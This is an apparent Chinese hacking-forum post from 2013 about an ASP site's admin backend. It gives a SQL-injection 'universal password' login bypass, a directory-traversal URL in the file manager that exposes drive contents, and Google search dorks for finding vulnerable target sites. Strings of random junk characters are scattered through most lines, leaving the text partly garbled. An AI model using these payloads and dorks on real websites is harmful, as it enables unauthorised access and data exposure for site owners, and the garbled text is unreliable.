后台万能密码 'or'='or'! I8 f/ J* o' b" o( C# u
2 E2 A8 p o9 P6 M2 J+ l& _: ~; X
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！& _: K# a+ q" G
admin/uploadfile.asp?currentFolder=/upfiles/..// @* d- ~) D) @: A1 S
3 j" R$ r; O2 j6 C
漏洞证明：
: B/ @2 n: t' z
8 k: l( E% @. a, r谷歌：inurl:type.asp?id=1 新闻中心
9 p) s p1 `* W3 q: w9 |或者 ：inurl:download_ok.asp?
5 S5 l) _7 v8 T4 E: u5 A' i: q P% T& @4 ~
|
发表于 2013-3-14 20:17:32
收藏
支持
反对